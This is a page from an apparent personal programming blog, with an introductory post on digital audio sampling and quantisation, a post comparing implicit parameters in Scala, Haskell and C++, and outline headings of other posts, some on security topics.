Beginner’s Guide: Everything you need to know about synthesis in music production – Introduces more forms of audio synthesis, geared towards music production.

Footnotes

Boy, do I have a lot to say about buffers. Why is the buffer size important? Small buffers may reduce the efficacy of batching operations (which is the primary purpose of buffers). Large buffers may block the processor too much, making it sluggish to respond to new input. Choosing an appropriate buffer size also depends on your sampling rate. With a buffer size of 1024 sampling at 44100Hz, we would need to generate our samples every $\frac{1024}{44.1\text{kHz}} \approx 23.2$ ms. On a single processor, this means we have less than 23.2 ms to perform other tasks (e.g. handle UI, events, etc.). ↩︎
Guess what? There are more ways to optimise wavetable synthesis—so it'll rock even more! See the open source LEAF library for an example of optimised wavetable synthesis in C. ↩︎

Digital Audio Synthesis for Dummies: Part 1

2023-02-24T00:00:00Z

A while back I worked on a lil’ MIDI keyboard project and learnt a lot regarding digital audio signal processing. This post is the first in a series of posts related to that project and aims to provide a springboard for those who wish to get their feet wet with audio processing.

Dealing with Data 📈

When processing data of any form, we are concerned with the data’s quality. Higher quality data may lead to a more thorough analysis and better user experience, but also demand higher memory and computing requirements.

With audio, we are concerned with two dimensions of quality: sampling (time) and quantisation (bit depth).

Sampling 🔪

Sampling refers to how much we “chop” a signal. Suppose our signal is a carrot. For a stew, we may want longer samples (sparser chops). With rice, however, it's better to go with shorter samples (denser chops).

^{Blue line: original, continuous signal. Red dots: sampled, discrete signal. At higher sample rates, we chop densely, and more information is retained. At lower sample rates, we chop sparsely, but the sampled signal struggles to capture the peaks and troughs.}

Digital audio signals are represented discretely by storing samples at regular intervals instead of using a single continuous line.

The sample rate refers to how fast we chop, how fast we sample our audio. Choosing an appropriate sample rate for your application is an important consideration. A higher rate yields more information per second, at the expense of space.

Audio is usually sampled at 44.1kHz or 48kHz (i.e. 44,100 or 48,000 samples per second). But why are these rates so common? To answer this, we first need to learn about the…

Nyquist-Shannon Sampling Theorem

The Nyquist-Shannon Sampling Theorem (aka the Nyquist Theorem) is an important consideration when choosing a sample rate for your application. According to this theorem, in order to accurately reconstruct a continuous signal such as audio, it must be sampled at a rate that is at least twice the highest frequency component of the signal. This threshold is also called the Nyquist frequency.

For example, if we want to store a 1kHz audio signal, we would need to sample at 2kHz or more. Humans can hear frequencies in the range 20Hz – 20kHz, so if we want to capture all audible sounds, our sample rate needs to be at least 40kHz.

This is important to avoid aliasing, which occurs when high frequency components of a signal are mistakenly interpreted as lower frequency components. Aliasing results in distortion and can lead to inaccurate representation of the original signal.

The diagram below demonstrates aliasing, which happens when our sample rate is too low.

^{(a) Sampling a 20kHz signal at 40kHz captures the original signal correctly. (b) Sampling the same 20kHz signal at 30kHz captures an aliased (low frequency ghost) signal. (Source: Embedded Media Processing.¹)}

The Nyquist Theorem explains why we usually sample above 40kHz, but why 44.1kHz specifically? Well, there are historical reasons (pioneering decisions) and mathematical reasons (factoring and downsampling).² Also, being lenient with our sampling frequency gives filters more flexibility.³

Quantisation 🪜

While sampling deals with resolution in time, quantisation deals with resolution in dynamics (or loudness). Here, we’re concerned with two things: quality and data storage (in files or RAM).

Like sampling, quantisation affects how well a signal is represented. If we quantise with 1 bit, then each sample has only two possible values (0 or 1). This means we can represent square waves (where high=1, low=0). But we can’t represent sine waves since the values in between that make up a sine wave aren’t in our vocabulary.

^{Blue: original signal; Red: quantised signal. Higher quantisation leads to better audio quality. With 1 or 2 bits, we can barely tell the signal is reproduced. With more bits, the signal is more faithfully reproduced.}

Higher quantisation also gives us greater dynamic resolution. With 1 bit, we're limited to absolute silence (0) or an ear-shattering loudness (1). With 8 bits, we have $2^8 = 256$ different "volume settings" to choose from—much more quality than simple 1s and 0s!
Regarding data storage, the less number of bits needed per sample, the more memory saved. When storing samples in files, most applications quantise to 16-bit integers, which allow for a decent resolution of -32,768 to +32,767 at two bytes per sample (1 byte being 8 bits). 32-bit floats are another common representation, bringing substantially greater detail at the expense of twice the space.⁴

^{Each block is an audio sample. Lower quantisation leads to more compact storage.⁵}

Now when storing audio in RAM for audio processing, it's easier to work with floats in the range of -1.0 to 1.0. Why the smaller range? Well, if we work directly with the maxima, we may easily encounter errors. With integers, we would experience integer overflow, which wraps positive values to negative values—a horrid nightmare! With floats, we would venture into the territory of infinity, which disrupts subsequent computations.

Thus, we use a smaller range to allow room for processing.

Audio Mishaps and Bugs 🐞

If you know the enemy and know yourself, you need not fear the result of a hundred battles. – Sun Tzu, The Art of War

Sometimes when experimenting with audio, something goes amiss. The most common issues are aliasing, clipping, and clicks. These pesky lil' issues may crop up when processing audio... all the more important to understand how to mitigate them.

Pro Tip: Oscilloscopes are your friend! If you encounter weird sounds, you can feed your processed signal into an oscilloscope (analogue or digital) to check for issues.

Aliasing

We mentioned aliasing earlier. Aliasing occurs when a signal is sampled insufficiently, causing it to appear at a lower frequency.

Generally, increasing the sample rate helps (or lowering the maximum frequency). In any case, it's wise to be vigilant with your sample rate and frequency range.

Clipping ✂️

Clipping occurs when our samples go out-of-bounds, past the maximum/minimum quantisation value. Clipping may cause our signal to wraparound or flatten at the peaks and troughs.

^{Example of wraparound clipping, typically due to integer overflow/underflow.}

^{Example of a signal flattened at the peaks and troughs due to clamping.}

Clipping arises from neglecting dynamic range. It can be addressed by scaling down the signal (multiplying samples by a factor below 1) or by using dynamic range compression (loud noises are dampened, soft noises are left unchanged).

Clicks

Clicks (aka pops) occur when a signal behaves discontinuously with large differences between samples. This difference forces the speaker hardware to vibrate quickly… too quickly.

^{Signal jumps from -1.0 to 1.0, causing my speaker to pop and my ear drums to bleed from utter despair.}

Clicks may arise from trimming or combining audio recordings without applying fades. In audio synthesis, mismanagement of buffers and samples may also be a factor.⁶

Recap 🔁

Audio processing is ubiquitous in daily life. In this post, we explored how digital audio works under the hood. Hopefully we communicated on the same wavelength and no aliasing occurred on your end. 😏

In the next post, we'll look at audio synthesis: the making of audio from nothing.

To recap…

Fundamental to audio processing is the quality of audio data. This comes in two forms: sampling and quantisation.
- Sampling refers to the discretisation and resolution of a signal in time.
  - Higher sample rate = more information per second = higher quality.
- Quantisation refers to the bit depth, the resolution in loudness.
  - Higher bit depth = higher quality.
- Higher quality comes with the cost of higher memory consumption.
- To accurately reconstruct a signal, the Nyquist Theorem states the sample rate should surpass the Nyquist frequency (twice the maximum frequency of the signal).
  - Sample rates below the signal's Nyquist frequency are prone to aliasing.
Some common issues to audio processing are aliasing, clipping, and clicks.
- Aliasing occurs when a signal is misinterpreted to be of lower frequency.
- Clipping occurs when samples exceed the dynamic range and are cut.
- Clicks occur when samples contain a large difference, causing the speaker to vibrate too quickly.

Footnotes

Katz, D; Gentile, R. 2005. Embedded Media Processing. They’ve provided Chapter 5: Embedded Audio Processing as a preview. It's a nice read. ↩︎
44,100 can be factored into $2^2 \times 3^2 \times 5^2 \times 7^2$, which is useful for downsampling to various applications. It's very easy to downsample by a factor of the original sample. For instance, if we want to downsample by a factor of 2, we simply skip every other sample (or interpolate between). ↩︎
See also: Why do we choose 44.1 kHz as recording sampling rate? ↩︎
How much more detail do floats have over integers? 32-bit floats range from about -10³⁸ to +10³⁸ whereas 32-bit integers range from about -10⁹ to +10⁹. Sadly, the increased range of floats comes with a downside: reduced precision. But that's alright. Floats are precise up to 7 significant figures, which is fine in a lot of cases! For more info on floating points, see the Wikipedia page on 32-bit floats. ↩︎
When storing audio in files or transmitting audio, we usually encode and compress the audio to save space. Out of scope for this post though. :( ↩︎
Fox, Arthur. What Causes Speakers To Pop And Crackle, And How To Fix It ↩︎

Implicit Parameters in Scala and Haskell

2022-10-15T00:00:00Z

Do not say a little in many words, but a great deal in a few.
– Pythagoras

What the heck are implicit parameters?

In software engineering, the Don’t Repeat Yourself principle is one of the foundations of writing modular programs. Implicit parameters (implicits, for short) are one of those language features which hide repetitive code so that developers can focus on the more important aspects of logic. Not all programming languages have implicit parameters; but those that do provide an extra mechanism to deal with repetitive code.

Both Scala and Haskell have the notion of implicit parameters. In Scala, it’s a built-in feature; whereas in Haskell, it’s a language extension. An even more important distinction is that in Scala, implicit variables bind by type, whereas in Haskell, they bind by name. We'll take a look at these in more detail.

Examples

...in Scala

Let's take a look at what implicit parameters look like in Scala.

// Example of using implicit.
def func(x: Int)(implicit s: String) =
  println(s"string: $s;  int: $x")

// Helper function to run a bunch of SQL statements and return the dataframe results.
def runBatch(sqls: Seq[String])(implicit spark: SparkSession): Dataframe =
  sqls map spark.sql

def main = {
  implicit val str: String = "abc" // Mark variable with the implicit keyword.
  // implicit val str2: String = "def" // Conflict! Two possible implicits of the same type. Error will occur.

  // Notice str is passed implicitly!
  func(1)  // string: abc;  int: 1
  func(42) // string: abc;  int: 42
  func(1)(str) // Same as above.
  func(42)(str)

  // Create a SparkSession object and mark it as implicit.
  implicit val spark: SparkSession = SparkSession.builder.master("local").getOrCreate
  val dfs = runBatch(Seq(
    "SELECT 1",
    "SELECT 2",
  )) // `spark` passed implicitly.
}

^(Demo)

As shown above, implicit params are coded by introducing a new set of parameters (in fact, this is how currying is achieved in Scala). In Scala, implicit variables require the implicit keyword. This serves as a flag to the compiler saying “this variable can be passed to functions with implicit parameters”. (Well, not exactly, but you get the idea.)

This is pretty useful for variables that have a single instance in any context and act like a global variable. In the Spark framework, a SparkSession is used to configure spark options, memory usage, and more. After configuration, we still want to hold onto the returned object in order to call functions such as spark.sql. Typically, we would only have one SparkSession in an application, so it makes sense to pass it to helper functions implicitly.

One gotcha is that Scala searches the calling context for implicit parameters of a matching type. The variable name does not matter. Scala implicits are actually a tad more complicated (and much more powerful as a result), so my example here doesn’t do it justice.

...in Haskell

Haskell’s implicit parameters are different. Here’s an example:

{-# LANGUAGE ImplicitParams #-} -- Enable the implicit parameters language extension.

import Data.Function (on)

-- Declare a generic sort function which takes a comparator.
sortBy :: (a -> a -> Ordering) -> [a] -> [a]
sortBy _ [] = []
sortBy cmp (p:xs) = -- Quickly hacked quick sort.
    sortBy cmp (filter ((== GT) . cmp p) xs) 
    ++ [p] 
    ++ sortBy cmp (filter ((/= GT) . cmp p) xs) 

-- Declare a sort function to sort a list.
sort :: (?cmp :: a -> a -> Ordering) => [a] -> [a]
sort = sortBy ?cmp

main :: IO ()
main = do
    let xs = [(1, 42), (5, 8), (10, 4), (3, 14), (15, 92)]
    let ?cmp = compare `on` fst -- Haskell idiom for constructing comparators.
    
    -- All equivalent: [(1,42),(3,14),(5,8),(10,4),(15,92)]
    print $ sortBy (compare `on` fst) xs    -- Explicit.
    print $ sortBy ?cmp xs                  -- Explicit.
    print $ sort xs                         -- Implicit.
    
    -- Change comparator. [(15,92),(1,42),(3,14),(5,8),(10,4)]
    let ?cmp = compare `on` (negate . snd)
    print $ sortBy ?cmp xs                  -- Explicit.
    print $ sort xs                         -- Implicit.
    
    let ?cmp2 = compare `on` snd
    print $ sortBy ?cmp2 xs
    print $ sort xs -- Which one is implicitly passed? `cmp` or `cmp2`? :)
    
    return ()

^(Demo)

Note that implicit variables in Haskell need to be indicated with a question mark, similar to the implicit keyword in Scala. ?cmp is an implicit variable, but cmp isn’t. However, unlike Scala, the implicit parameters here are specified in the function’s type signature. And not just that, it’s written in the function’s type constraints.

In Haskell, functions type signatures are placed on a separate line. For example, sortBy has the signature (a -> a -> Ordering) -> [a] -> [a], meaning it takes a function (in this case, a comparator) which itself takes two generic a's, a list of a's, and returns a list of a's. (This is not what actually happens under the hood, but it’s good enough for now.) On the other hand, sort's type signature looks a little different:

sort :: (?cmp :: a -> a -> Ordering) => [a] -> [a]

In a Haskell type signature, stuff on the left of => are type constraints; here we have ?cmp :: a -> a -> Ordering. Although somewhat unintuitive, this leverages Haskell’s existing type system so that implicit parameters are automatically propagated. So if another function calls sort without a ?cmp, then that function will also have ?cmp :: a -> a -> Ordering in its type constraint!

On a different note, an important distinction is that instead of searching for variables with a matching type (as in Scala), Haskell searches for variables with the same name. In a way, this behaves like C/C++ macros, but with type safety. Compare the Haskell example to the following C++ example.

...in C++

#include <algorithm>
#include <iostream>
#include <vector>

using namespace std; // Bad practice, but just to keep things readable.

// Generic sort with comparator.
template <typename F, typename T>
T sortBy(F cmp, T xs) {
    sort(xs.begin(), xs.end(), cmp);
    return xs;
};

// Sort with implicit comparator. We name it with an underscore to avoid confusion with std::sort.
// Note how `xs` is substituted with the parameter, but `cmp` is "implicitly" used.
#define sort_(xs) sortBy(cmp, xs)

// Helper function.
void print(const vector<pair<int, int>>& xs) {
    for (const auto& [a, b] : xs)
        cout << " (" << a << ", " << b << ")";
    cout << "\n";
};

int main() {
    auto xs = vector<pair<int, int>>{ {1, 42}, {5, 8}, {10, 4}, {3, 14}, {15, 92} };
    
    { //  (1, 42) (3, 14) (5, 8) (10, 4) (15, 92)
        auto cmp = [](auto pa, auto pb) { return pa.first < pb.first; };
        print(sortBy(cmp, xs));
        print(sort_(xs)); // Expanded to `print(sortBy(cmp, xs));`.
    }
     
    { //  (15, 92) (1, 42) (3, 14) (5, 8) (10, 4)
        auto cmp = [](auto pa, auto pb) { return pa.second > pb.second; };
        print(sort_(xs)); // Same expansion happens here.
    }
}

^(Demo)

This example irks me since it uses macros, so it's a bit hacky... too hacky for my tastes.

Abuse of Implicits

Although implicit params remove the need to explicitly state params, there is also the danger of hiding too much. This may lead to code being harder to trace and debug, and hence may cause confusion among team members.

The similarity with natural languages is striking. Sometimes ambiguity may arise when people conversing don’t have sufficient context. Or misunderstanding may arise when people come from different cultures.

Coming back to software engineering, implicits are best reserved for extremely common variables and unique types. Think twice before slapping implicit or a question mark in your code. You’ll thank yourself later.

Further Reading:

Tour of Book: Implicit Parameters
Where does Scala look for implicits?
GHC Language Extensions: Implicit Parameters
Implicit Parameters: Dynamic Scoping with Static Types: Basis for implicit params in Haskell. Good academic foundation and examples.

TrebledJ's Pages

Delay and Interactive Pause in Multi-Threaded Python

A Tale of Two Scripts

Basic Script

Fancy Script

The Magic

threading.Event

Handling Ctrl+C with signal

Write a Pause Menu

Conclusion

tl;dr

References

Appendix

Appendix A: Bonus - rich.progress

Appendix B: Handling Future Results

How to Use PrismJS Plugins with NodeJS and MarkdownIt

Why enhance codeblocks?

Step 1: Expose a DOM API

Step 2: Override MarkdownIt Fence Rendering

Step 3: Use markdown-it-attrs

Step 4: (Optional) Modify Plugins

Benchmarking DOM Libraries

Final Remarks

Automating Boolean-Based SQL Injection with Python

What is Boolean-Based Blind SQL Injection?

Optimisations with Binary Search

More SQL Tricks

Adding Multithreading

Threads vs. Processes

Using ThreadPoolExecutor

Adding Comfort Features

Command Line Arguments

Progress Bar

Interactive Interface

Conclusion

From Compression to Compromise: Unmasking Zip File Threats

Zip Attacks

Zip Slip ⛸

Overview of Zip Slip

DIY: Build your own Zip Slip payload!

Limitations of Zip Slip

Zip Symlink Attacks 🖇

Arbitrary File Read with File Symlinks

Arbitrary File Write with Dir Symlinks

DIY: Build your own Zip Symlink Payload!

Limitations of Zip Symlink Attacks

Zip Bombs 💣

DIY: Build your own Zip Bomb!

Zip Vulnerabilities in the Wild

Mitigations and Other Considerations

Permissions

Modern Antivirus

Robust Code

Unit Tests

tl;dr

Other References

HKCERT CTF 2023 – Decompetition: Vitamin C++

Description

Analysis

Trie Me

Setting Up the Structure

Demangling Names

Classy Types

Reversing

Plagiarise a Decompiler

Implement the Data Structure

On Various Features

On Scoping

On Structured Bindings

On Const Ref

On For-Range Loops

On Control Flow

Other Useful Tips

The Infernal Flag

Final Remarks

Solve Sauce

Flag

Subtype Metaprogramming is Mostly Harmless

Description

Solve

Step 3: Use `markdown-it-attrs`